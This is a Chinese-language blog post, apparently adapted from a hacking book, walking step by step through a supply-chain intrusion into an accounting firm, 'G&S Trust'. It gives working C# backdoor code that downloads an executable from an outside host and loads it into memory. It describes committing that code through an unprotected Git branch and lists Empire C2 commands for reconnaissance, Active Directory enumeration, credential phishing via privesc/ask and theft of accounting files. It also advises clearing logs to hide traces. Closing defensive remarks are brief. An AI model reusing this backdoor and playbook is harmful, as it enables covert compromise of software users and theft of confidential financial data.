15、渗透G&S Trust:从后门注入到数据猎取

渗透G&S Trust:从后门注入到数据猎取

1. 后门核心构建

为避免后续硬编码URL时引起怀疑,我们在健康检查可执行文件的名称中省略了 .exe 扩展名,并将该文件上传到C2服务器。接下来,回到Strat Accounting代码中的后门部分,编写 Custom_shape_ui 方法的主体。该方法的主要功能是初始化一个 WebClient 并下载健康检查可执行文件,具体代码如下:

using System.Net;
using System.Reflection;

static private void Custom_shape_ui()
{
    // 用于存储程序集的字节数组
    byte[] myDataBuffer = null;

    // 使用系统注册的默认代理
    System.Net.WebRequest.DefaultWebProxy.Credentials =
        System.Net.CredentialCache.DefaultNetworkCredentials;

    // 用于下载数据的经典WebClient对象
    WebClient myWebClient = new WebClient();
    try {
        var url = "https://stratjumbo.co.au/health-check";
        myDataBuffer = myWebClient.DownloadData(url);
    }
    catch { }

    // 如果下载失败则返回
    if (myDataBuffer == null) {
        return;
    }

    // 反射式加载到内存中
    Assembly a = Assembly.Load(myDataBuffer);
    Type t = a.GetType("fud_stager.Program");
    MethodInfo staticMethodInfo = t.GetMethod("Main");

    staticMethodInfo.Invoke(null, null);
} 

fud_stager Program 分别是包含 Main 方法的命名空间和类。我们将近80行精心伪装的代码插入到可能有100,000行代码的代码库中,从外观上看几乎没有可疑之处。完整代码可在 assembly_backdoor.cs 中查看。

2. 劫持提交

后门的最终版本已准备好,接下来需要将这些代码偷运到Strat Accounting的代码库中。Strat Jumbo采用经典的同行评审流程,每个开发者在单独的Git分支上工作,代码完成后创建合并请求,需通过单元测试并得到同事批准才能合并到主分支。为避免严格审查,我们前往Strat Accounting代码库的GitLab页面,查看当前开放的分支。发现 G&S_TRUST 分支未标记为“受保护”,这意味着无需经过评审流程,任何开发者都可直接向该分支添加代码。于是,我们切换到该分支,使用GitLab的Web编辑器添加后门代码并提交。接下来就是等待,如果一切顺利,三到五周后就能获得访问权限。

3. 数据狩猎前奏

三周前,我们将额外的代码注入到Strat Accounting的下一个版本中。如果一切按计划进行,G&S Trust将在其机器上运行这个后门版本,我们就能获取其机密信息。期间,我们不时登录开发者的远程Citrix会话检查项目进度,发现新版本发布延迟了几天。我们的代码仍深埋在项目的原生代码中,除了被添加了一条注释外,未被修改。终于,一个周一的早晨,我们收到了C2服务器的第一个信标:

(Empire: agents) > [+] Initial agent 9USWTPY4 from 219.75.27.16 now active (Slack)

通过执行 sysinfo 命令,确认已成功入侵G&S Trust。通过 whois 命令得知触发后门的办公室可能在新加坡。随后,来自塞浦路斯、香港、马耳他和塞舌尔等地的机器也陆续连接,共有八台计算机与我们取得联系。

4. 侦察防御情况

在深入敌营之前,我们的首要目标是侦察。所有发出信标的系统似乎都是Windows 10机器,我们首先检查是否启用了MDE和ATA。
- 检查MDE :使用 tasklist 命令查找名为 MsSense.exe 的进程:

(Empire) > interact 7S92RXMZ
(Empire: 7S92RXMZ) > shell tasklist /v | findstr /I sense

结果未发现相关进程。
- 检查ATA :使用PowerView的 get_group 模块搜索名为“Microsoft Advanced Threat Analytics Administrators”的域组:

(Empire: 7S92RXMZ) > use powershell/situational_awareness/network/powerview/get_group
(Empire: get_group) > set LDAPFilter "(description=*Threat*)"
(Empire: get_group) > run

结果也未发现相关信息。
- 检查其他安全特性 :通过查看进程,发现这些机器运行的是Symantec Endpoint Protection 12.1版本,不支持AMSI。同时,查询 ScriptBlockLogging SystemWide 转录注册表项,发现它们均未启用。
综上所述,我们获得了八台缺少最新安全特性的Windows 10机器的访问权限,可以进行更广泛的Active Directory侦察。

5. 收集情报

我们使用PowerView嵌入在Empire中的模块列出域组、用户、计算机、网络共享和组织单位(OU),具体操作如下:

(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_group
(Empire: get_group) > run
(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_user
(Empire: get_user) > run
(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_computer
(Empire: get_computer) > run
(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/share_finder
(Empire: share_finder) > run
(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_ou
(Empire: get_ou) > run

Empire会将所有命令、输出和下载的文件记录在 Empire/downloads/<agent_name> 文件夹中的 agent.log 文件中。通过审查这些列表,我们发现所有计算机和用户都属于同一个Active Directory域 gstrust.corp ,该域由四名全局域管理员管理,管理员账户大多遵循 admin.username 的命名约定。公司的域被划分为多个OU,业务组也按地区划分,这表明对Active Directory对象实施了严格的访问控制。

6. 数据猎取

目前收到的信标都来自各地区办公室的会计部门,理论上我们已可访问G&S Trust的所有会计信息。以香港地区为例,根据之前的数据,Yui是香港OU的会计,我们将其作为目标。在Yui的个人文件夹中,发现了 Taxes_2021 Accounting_2021 两个有趣的文件夹,通过下载其中的数据,我们获得了2021年以来香港地区150家公司的会计信息。进一步通过 net use 命令,找到了共享服务器上可追溯到2005年的会计信息。我们采用相同方法获取了塞浦路斯、马耳他、塞舌尔和新加坡等地的会计信息。这些会计数据包含了众多空壳公司的详细信息,但解析这些数据以确定挪用公款和其他可疑交易需要几个月时间,且我们仍缺少一些关键信息,如公司背后的真实人员和最终受益人身份。

为了获取更多信息,我们使用Empire的 share_finder 模块列出网络上的所有共享:

(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/share_finder
(Empire: share_finder) > run

结果显示,Yui的账户被拒绝访问大多数文件夹,仅能访问香港本地服务器上的会计文件夹,这表明G&S Trust实施了严格的访问规则,我们需要进行权限提升。

7. 权限检查

Empire会在管理员会话的用户名旁边标记一个小星号(*),Yui的账户没有该标记,且我们目前拥有的八个交互式会话均无本地管理员权限,更不用说域管理员权限。为了找出至少具有本地管理员权限的用户,我们在之前侦察阶段运行的 get_user 命令结果中查找 admincount 属性大于零的用户:

root@C2Server:7S92RXMZ/# grep -E -B2 "admincount \s+: 1" agent.log

发现几乎所有管理员账户都遵循 admin.username 的命名约定,其中包括之前确定的用户Sarah。我们在Sarah的计算机上有一个可用的Empire shell,但陷入了一个困境:可以使用Mimikatz获取Sarah的标准用户密码,但需要管理员权限;而获取管理员权限又需要Sarah的管理员用户密码。

为了摆脱这个困境,我们可以采取以下几种方法:
- 执行简单的键盘记录器,等待Sarah输入密码。
- 搜索她的个人文件,希望她将密码写在文本文件中。
- 直接询问她。

我们选择使用Empire的 privesc/ask 模块,该模块会弹出一个Windows对话框,要求输入提升权限的凭据。很多人会匆忙输入密码,我们通过以下操作尝试提升权限:

(Empire: agents) > list
(Empire:) > interact 672S4HKR    
(Empire: 672S4HKR) > usemodule privesc/ask
(Empire: ask) > set Listener https_1
(Empire: ask) > run

最终成功提升权限,Empire代理自动获取了密码并创建了一个新的管理员会话。

整个过程的流程图如下:

graph LR
    A[构建后门核心] --> B[劫持提交]
    B --> C[等待信标]
    C --> D[侦察防御]
    D --> E[收集情报]
    E --> F[数据猎取]
    F --> G[权限检查]
    G --> H[权限提升]

在这次渗透过程中,我们从构建后门开始,逐步获取了G&S Trust的访问权限,并收集了大量会计信息。然而,要完全揭开其背后的秘密,还需要进一步的工作和分析。同时,我们也遇到了权限限制等问题,通过巧妙的方法成功解决。在实际的安全工作中,企业应加强代码审查、分支保护和安全策略的实施,以防止类似的攻击。

渗透G&S Trust:从后门注入到数据猎取(续)

8. 权限提升后的行动

成功提升在Sarah计算机上的权限后,我们获得了本地管理员权限,这为进一步深入G&S Trust的系统打开了新的大门。接下来,我们可以尝试在整个网络中进行横向移动,扩大我们的控制范围。

首先,我们使用已有的管理员权限,在Sarah的机器上扫描本地网络,查找其他可利用的漏洞和可访问的资源。我们可以使用一些网络扫描工具,如Nmap,来发现网络中的其他设备和开放的端口:

(Empire: 672S4HKR) > shell nmap -sn 192.168.0.0/24

这个命令会对 192.168.0.0/24 网段进行主机发现扫描,找出在线的设备。根据扫描结果,我们可以进一步对感兴趣的设备进行深入探测。

同时,我们可以利用管理员权限,查看Sarah机器上的敏感文件和配置信息,可能会找到更多关于网络架构和其他用户账户的线索。例如,查看本地的注册表、系统日志和配置文件:

(Empire: 672S4HKR) > shell reg query HKLM\Software\Microsoft\Windows\CurrentVersion
(Empire: 672S4HKR) > shell type C:\Windows\System32\winevt\Logs\Security.evtx
9. 深入挖掘关键数据

在扩大了控制范围后,我们继续深入挖掘G&S Trust的关键数据。之前获取的会计信息虽然丰富,但还缺少一些核心的秘密,如公司背后的真实人员和最终受益人身份。我们将目标转向法律部门和人力资源部门的共享文件夹,因为这些地方可能存储着更关键的信息。

我们尝试使用提升后的权限访问之前被拒绝的共享文件夹,如Legal和HR:

(Empire: 672S4HKR) > shell net use \\GS-ML-02.gstrust.corp\Legal$ /user:admin.sarah password
(Empire: 672S4HKR) > shell net use \\GS-ML-02.gstrust.corp\HR$ /user:admin.sarah password

如果成功连接,我们就可以对这些文件夹进行详细的搜索和下载。例如,在Legal文件夹中,可能会找到公司的注册文件、合同和法律文书,这些文件可能包含公司背后真实人员的信息;在HR文件夹中,可能会有员工的档案和身份信息。

10. 数据整理与分析

随着我们获取的数据越来越多,需要对这些数据进行整理和分析。我们可以将下载的数据存储在本地的数据库中,使用数据分析工具进行处理。例如,使用Python的Pandas库来处理和分析会计数据:

import pandas as pd

# 读取会计数据文件
data = pd.read_csv('accounting_data.csv')

# 分析数据
net_income = data['Net Income'].sum()
expense_types = data['Expense Type'].unique()

print(f"总净收入: {net_income}")
print(f"费用类型: {expense_types}")

通过对数据的分析,我们可以进一步了解公司的财务状况、业务模式和可能存在的问题。同时,我们也可以使用数据挖掘技术,如关联分析和聚类分析,来发现数据中的隐藏关系和模式。

11. 风险评估与应对

在整个渗透过程中,我们始终面临着被发现的风险。G&S Trust可能会在任何时候发现我们的活动,并采取相应的措施来阻止我们。因此,我们需要对风险进行评估,并制定相应的应对策略。

  • 被发现的迹象 :如果G&S Trust的安全团队发现了异常的网络流量、系统日志中的异常记录或用户的异常行为,可能会意识到他们的系统被入侵。
  • 应对策略
    • 隐藏踪迹 :在操作过程中,尽量避免留下明显的痕迹。例如,使用加密的通信协议、定期清理系统日志和临时文件。
    • 快速行动 :在获取关键数据后,尽快撤离,避免长时间停留在系统中。
    • 备份数据 :及时备份获取的数据,以防数据丢失或被删除。
12. 总结与展望

通过这次渗透行动,我们成功地获取了G&S Trust的大量会计信息和部分关键数据,但要完全揭开其背后的秘密,还需要进一步的工作和分析。在这个过程中,我们也展示了如何利用漏洞和权限提升来突破企业的安全防线。

从企业安全的角度来看,这次渗透行动也给我们敲响了警钟。企业应该加强代码审查、分支保护和安全策略的实施,以防止类似的攻击。同时,企业也应该定期进行安全评估和漏洞扫描,及时发现和修复潜在的安全问题。

未来,随着技术的不断发展,网络攻击的手段也会越来越复杂。我们需要不断学习和掌握新的技术和方法,以应对日益严峻的网络安全挑战。同时,我们也应该遵守法律法规,将技术用于合法的安全测试和防范工作中。

以下是我们在整个渗透过程中的关键步骤总结表格:
|步骤|操作内容|
| ---- | ---- |
|构建后门核心|编写 Custom_shape_ui 方法,下载并加载健康检查可执行文件|
|劫持提交|利用未受保护的 G&S_TRUST 分支,将后门代码提交到代码库|
|等待信标|等待G&S Trust运行后门版本,接收C2服务器的信标|
|侦察防御|检查系统是否启用MDE、ATA等安全特性|
|收集情报|列出域组、用户、计算机、网络共享和组织单位|
|数据猎取|定位并下载会计信息和其他关键数据|
|权限检查|查找具有本地管理员权限的用户|
|权限提升|使用 privesc/ask 模块提升权限|
|权限提升后行动|进行网络扫描和敏感文件查看|
|深入挖掘关键数据|尝试访问法律和人力资源部门的共享文件夹|
|数据整理与分析|使用数据分析工具处理和分析获取的数据|
|风险评估与应对|评估被发现的风险,制定应对策略|

整个渗透过程的详细步骤流程图如下:

graph LR
    A[构建后门核心] --> B[劫持提交]
    B --> C[等待信标]
    C --> D[侦察防御]
    D --> E[收集情报]
    E --> F[数据猎取]
    F --> G[权限检查]
    G --> H[权限提升]
    H --> I[权限提升后行动]
    I --> J[深入挖掘关键数据]
    J --> K[数据整理与分析]
    K --> L[风险评估与应对]

通过这次渗透行动,我们不仅展示了一种可能的攻击路径,也为企业安全提供了宝贵的经验教训。希望企业能够从中吸取教训,加强自身的安全防护能力。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值